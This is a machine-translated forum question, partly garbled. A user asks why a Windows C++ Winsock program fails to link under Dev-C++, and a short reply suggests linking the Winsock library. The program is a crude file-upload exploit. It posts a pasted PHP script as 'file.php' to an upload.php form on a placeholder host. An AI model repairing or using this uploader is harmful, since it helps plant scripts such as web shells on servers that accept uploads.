-3
我试着请编译这个简单的应用：编译简单的应用程序给错误
#include <winsock2.h>
#include <iostream.h>
#include <string.h>
using namespace std;
unsigned long WinsockStart()
{
WSADATA wsa;
unsigned long ULONG;
struct hostent *target;
if(WSAStartup(MAKEWORD(2,2), &wsa) < 0)
{
cout << "Exploit failed!" << endl;
WSACleanup();
return 1;
}
if((target=gethostbyname("www.website.com/script.php"))<0)
{
cout << "That is not a valid host bro!" << endl;
WSACleanup();
return 2;
}
ULONG = *(unsigned long*) target->h_addr;
return ULONG;
}
void error_exit(string text)
{
cout << text;
WSACleanup();
exit(EXIT_FAILURE);
}
int main()
{
SOCKET sock;
struct sockaddr_in addr;
unsigned long win=0;
int con = 0, gr=0, send_r=0, rec=0;
char header[2048], buffer[2018];
string to_send="Paste the php script hire";
string name ="file.php";
win=WinsockStart();
if(win==1||win==2)
error_exit("failed!");
addr.sin_family=AF_INET;
addr.sin_port=htons(80);
addr.sin_addr.s_addr = win;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock<0)
error_exit("failed!");
gr = (to_send.size()+name.size()+287);
sprintf(header, "POST /upload.php HTTP/1.1\r\n");
sprintf(header, "%sHost: www.website.com/script.php\r\n", header);
sprintf(header, "%sConnection: Keep-Alive\r\n", header);
sprintf(header, "%sContent-Type: multipart/form-data; boundary=---------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Length: %d\r\n", header, gr);
sprintf(header, "%s\r\n", header);
sprintf(header, "%s-----------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Disposition: form-data; name=\"images\"; filename=\"%s\"\r\n", header, name.c_str());
sprintf(header, "%sContent-Type: text/plain\r\n", header);
sprintf(header, "%s\r\n", header);
sprintf(header, "%s%s\r\n", header, to_send.c_str());
sprintf(header, "%s-----------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Disposition: form-data; name=\"post\"\r\n", header);
sprintf(header, "%s\r\n", header);
sprintf(header, "%supload\r\n\r\n", header);
sprintf(header, "%s-----------------------------90721038027008--\r\n\r\n\0", header);
con = connect(sock, (SOCKADDR*)&addr, sizeof(addr));
if(con < 0)
error_exit("failed!");
if(send_r=send(sock, header, strlen(header), 0)<0)
error_exit("failed!");
while (rec=recv(sock, buffer, 2048, 0)) /* 2048Bytes Usage */
{
if(rec==0)
error_exit("Quit it!");
printf("%s", buffer);
}
closesocket(sock);
WSACleanup();
return EXIT_SUCCESS;
}
，并给我这个错误：
Compiler: Default compiler
Executing g++.exe...
g++.exe "C:\Users\Lavoro\Desktop\upload.cpp" -o "C:\Users\Lavoro\Desktop\upload.exe" -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"
In file included from C:/Dev-Cpp/include/c++/3.4.2/backward/iostream.h:31,
from C:\Users\Lavoro\Desktop\upload.cpp:2:
C:/Dev-Cpp/include/c++/3.4.2/backward/backward_warning.h:32:2: warning: #warning This file includes at least one deprecated or antiquated header. Please consider using one of the 32 headers found in section 17.4.1.2 of the C++ standard. Examples include substituting the <X> header for the <X.h> header for C++ includes, or <iostream> instead of the deprecated header <iostream.h>. To disable this warning use -Wno-deprecated.
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x11b):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x14b):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x163):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x1b2):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x462):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x48b):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x6fc):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x81c):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x936):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb0e):upload.cpp: undefined reference to `[email protected]'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb16):upload.cpp: undefined reference to `[email protected]'
collect2: ld returned 1 exit status
Execution terminated
问题出在哪里？即时通讯使用开发c + +惠特Windows 7家庭。如果我需要安装任何库，请指定我的库名称需要安装。谢谢大家
为什么要使用GCC 3.4.2（添加在文本框中WS2_32.LIB）？ – Fanael